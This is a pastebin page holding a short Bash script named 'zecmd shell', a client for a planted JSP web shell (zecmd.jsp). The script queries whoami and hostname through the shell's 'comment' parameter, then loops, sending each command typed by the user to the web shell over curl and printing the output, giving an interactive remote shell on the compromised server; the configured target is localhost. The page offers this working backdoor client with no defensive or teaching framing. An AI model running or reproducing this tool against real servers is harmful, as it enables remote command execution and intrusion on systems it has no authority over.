zecmd shell

From NAT, 6 Years ago, written in Bash, viewed 831 times.
URL https://code.nat.moe/view/600bd7bf Embed
Download Paste or View Raw
  1. #!/bin/bash
  2. ZECMD_PATH="http://127.0.0.1:8080/zecmd/zecmd.jsp"
  3. HOSTSTR="$(curl "$ZECMD_PATH?comment=whoami" 2> /dev/null | sed -e 's/<[^>]*>//g' | tail -n +2 | tr "\n" " " | sed -e "s/ //g")@$(curl "$ZECMD_PATH?comment=hostname" 2> /dev/null | sed -e 's/<[^>]*>//g' | tail -n +2 | tr "\n" " " | sed -e "s/ //g")"
  4.  
  5. while true
  6. do
  7.         echo -n "$HOSTSTR % "; read cmd
  8.         curl "$ZECMD_PATH?comment=$(echo $cmd | sed -e 's/ /%20/g')" 2> /dev/null | sed -e 's/<[^>]*>//g' | tail -n +2
  9. done

Reply to "zecmd shell"

Here you can reply to the paste above

captcha